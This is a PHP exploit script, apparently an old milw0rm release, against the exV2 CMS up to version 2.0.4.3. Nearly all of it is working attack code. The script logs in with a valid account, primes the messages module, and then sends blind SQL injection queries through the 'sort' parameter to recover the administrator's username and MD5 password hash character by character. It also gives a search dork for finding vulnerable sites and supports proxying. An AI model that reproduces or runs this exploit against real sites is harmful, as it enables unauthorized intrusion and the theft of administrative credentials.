304 lines
No EOL
8.7 KiB
PHP
304 lines
No EOL
8.7 KiB
PHP
#!/usr/bin/php -q -d short_open_tag=on
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<?
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print_r('
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-------------------------------------------------------------------------------
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exV2 <= 2.0.4.3 "sort" SQL injection / administrative credentials disclosure
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exploit
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mail: retrog@alice.it
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site: http://retrogod.altervista.org
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dork: "Powered by eXV2 Vers"
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-------------------------------------------------------------------------------
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');
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/*
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this works regardless of php.ini settings
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against Mysql >= 4.1 (allowing subs)
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and if 'messages' module is enabled
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*/
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if ($argc<4) {
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print_r('
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-----------------------------------------------------------------------------
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Usage: php '.$argv[0].' host path user pass OPTIONS
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host: target server (ip/hostname)
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path: path to exv2
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user/pass: valide user credentials
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Options:
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-T[prefix: specify a table prefix, other than default (exv2_)
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-p[port]: specify a port other than 80
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-P[ip:port]: specify a proxy
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Example:
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php '.$argv[0].' 2.2.2.2 /exv2/ rgod test -P1.1.1.1:80
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php '.$argv[0].' 1.1.1.1 / rgod test -p81
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-----------------------------------------------------------------------------
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');
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die;
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}
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error_reporting(0);
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ini_set("max_execution_time",0);
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ini_set("default_socket_timeout",5);
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function quick_dump($string)
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{
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$result='';$exa='';$cont=0;
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for ($i=0; $i<=strlen($string)-1; $i++)
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{
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if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
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{$result.=" .";}
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else
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{$result.=" ".$string[$i];}
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if (strlen(dechex(ord($string[$i])))==2)
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{$exa.=" ".dechex(ord($string[$i]));}
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else
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{$exa.=" 0".dechex(ord($string[$i]));}
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$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
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}
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return $exa."\r\n".$result;
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}
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$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
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function sendpacketii($packet)
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{
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global $proxy, $host, $port, $html, $proxy_regex;
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if ($proxy=='') {
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$ock=fsockopen(gethostbyname($host),$port);
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if (!$ock) {
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echo 'No response from '.$host.':'.$port; die;
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}
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}
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else {
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$c = preg_match($proxy_regex,$proxy);
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if (!$c) {
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echo 'Not a valid proxy...';die;
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}
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$parts=explode(':',$proxy);
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echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
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$ock=fsockopen($parts[0],$parts[1]);
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if (!$ock) {
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echo 'No response from proxy...';die;
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}
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}
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fputs($ock,$packet);
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if ($proxy=='') {
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$html='';
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while (!feof($ock)) {
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$html.=fgets($ock);
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}
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}
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else {
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$html='';
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while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
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$html.=fread($ock,1);
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}
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}
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fclose($ock);
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#debug
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#echo "\r\n".$html;
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}
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$host=$argv[1];
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$path=$argv[2];
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$uname=$argv[3];
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$pass=$argv[4];
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$prefix="exv2_";
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$port=80;
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$proxy="";
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for ($i=5; $i<$argc; $i++){
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$temp=$argv[$i][0].$argv[$i][1];
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if ($temp=="-p")
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{
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$port=str_replace("-p","",$argv[$i]);
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}
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if ($temp=="-P")
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{
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$proxy=str_replace("-P","",$argv[$i]);
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}
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if ($temp=="-T")
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{
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$prefix=str_replace("-T","",$argv[$i]);
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}
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}
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if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
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//login
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$data="uname=$uname&pass=$pass&op=login";
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$packet ="POST ".$p."user.php HTTP/1.0\r\n";
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$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
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$packet.="Accept-Encoding: text/plain\r\n";
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$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Content-Length: ".strlen($data)."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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$packet.=$data;
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sendpacketii($packet);
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$temp=explode("Set-Cookie: ",$html);
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$cookie="";
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for ($i=1; $i<count($temp); $i++)
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{
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$temp2=explode(" ",$temp[$i]);
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$temp3=explode("\r",$temp2[0]);
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if (!strstr($temp3[0],";")){$temp3[0]=$temp3[0].";";}
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$cookie.=$temp3[0];
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}
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echo "cookie ->".$cookie."\n";
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//retrieve your user id
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$packet ="GET ".$p."edituser.php HTTP/1.0\r\n";
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$packet.="Accept-Encoding: text/plain\r\n";
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$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Cookie: ".$cookie."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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sendpacketii($packet);
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$temp=explode("userinfo.php?uid=",$html);
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$temp2=explode("'",$temp[1]);
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$uid=(int)$temp2[0];
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echo "uid -> ".$uid."\n";
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//configure your message box, needed...
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$data ="msg_mail=0";
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$data.="&msg_showdisc=0";
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$data.="&msg_showsend=0";
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$data.="&update=0";
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$data.="&op=config_save";
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$data.="&submit=Save";
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$packet ="POST ".$p."modules/messages/conf.php HTTP/1.0\r\n";
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$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
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$packet.="Accept-Encoding: text/plain\r\n";
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$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Content-Length: ".strlen($data)."\r\n";
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$packet.="Cookie: ".$cookie."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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$packet.=$data;
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sendpacketii($packet);
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sleep(1);
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//send to yourself some messages...
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for ($i=2; $i>=1; $i--)
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{
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$data='-----------------------------7d626f251b00fa
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Content-Disposition: form-data; name="to_userid"
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'.$uid.'
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-----------------------------7d626f251b00fa
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Content-Disposition: form-data; name="subject"
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11111111111111111111111'.$i.'
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-----------------------------7d626f251b00fa
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Content-Disposition: form-data; name="message"
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11111111111111111111111
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-----------------------------7d626f251b00fa
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Content-Disposition: form-data; name="MAX_FILE_SIZE"
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256000
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-----------------------------7d626f251b00fa
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Content-Disposition: form-data; name="msg_attachment"; filename=""
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-----------------------------7d626f251b00fa
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Content-Disposition: form-data; name="msg_attachment[max_file_size]"
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256000
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-----------------------------7d626f251b00fa
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Content-Disposition: form-data; name="msg_attachment[accepted]"
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-----------------------------7d626f251b00fa
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Content-Disposition: form-data; name="allow_html"
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1
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-----------------------------7d626f251b00fa
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Content-Disposition: form-data; name="allow_smileys"
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1
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-----------------------------7d626f251b00fa
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Content-Disposition: form-data; name="allow_bbcode"
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1
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-----------------------------7d626f251b00fa
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Content-Disposition: form-data; name="submit"
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Envoyer
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-----------------------------7d626f251b00fa--
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';
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$packet="POST ".$p."modules/messages/pmlite.php HTTP/1.0\r\n";
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$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
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$packet.="Accept-Encoding: text/plain\r\n";
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$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Content-Length: ".strlen($data)."\r\n";
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$packet.="Connection: Close\r\n";
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$packet.="Cookie: $cookie\r\n\r\n";
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$packet.=$data;
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sendpacketii($packet);
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sleep(2);
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}
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//let's go...
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$md5s[0]=0;//null
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$md5s=array_merge($md5s,range(48,57)); //numbers
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$md5s=array_merge($md5s,range(97,102));//a-f letters
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//print_r(array_values($md5s));
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$j=1;
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$my_password="";
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while (!strstr($my_password,chr(0)))
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{
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for ($i=0; $i<=255; $i++)
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{
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if (in_array($i,$md5s))
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{
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$sql="(SELECT(IF((ASCII(SUBSTRING(pass,$j,1))=".$i."),msg_time,subject))FROM/**/".$prefix."users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*";
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echo "sql -> ".$sql."\r\n";
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$sql=urlencode($sql);
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$packet ="GET ".$p."modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n";
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$packet.="Accept-Encoding: text/plain\r\n";
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$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Cookie: ".$cookie."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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sendpacketii($packet);
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if (!strstr($html,"111111111111111111111111")){$my_password.=chr($i);echo "password -> ".$my_password."[???]\n";sleep(1);break;}
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}
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if ($i==255) {die("Exploit failed...");}
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}
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$j++;
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}
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$j=1;
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$my_admin="";
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while (!strstr($my_admin,chr(0)))
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{
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for ($i=0; $i<=255; $i++)
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{
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$sql="(SELECT(IF((ASCII(SUBSTRING(uname,$j,1))=".$i."),msg_time,subject))FROM/**/".$prefix."users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*";
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echo "sql -> ".$sql."\r\n";
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$sql=urlencode($sql);
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$packet ="GET ".$p."modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n";
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$packet.="Accept-Encoding: text/plain\r\n";
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$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Cookie: ".$cookie."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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sendpacketii($packet);
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if (!strstr($html,"111111111111111111111111")){$my_admin.=chr($i);echo "admin -> ".$my_admin."[???]\n";sleep(1);break;}
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if ($i==255) {die("Exploit failed...");}
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}
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$j++;
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}
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echo "--------------------------------------------------------------------\n";
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echo "admin -> ".$my_admin."\n";
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echo "password (md5) -> ".$my_password."\n";
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echo "--------------------------------------------------------------------\n";
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function is_hash($hash)
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{
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if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
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else {return false;}
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}
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if (is_hash($my_password)) {echo "Exploit succeeded...";}
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else {echo "Exploit failed...";}
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?>
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# milw0rm.com [2006-09-21]
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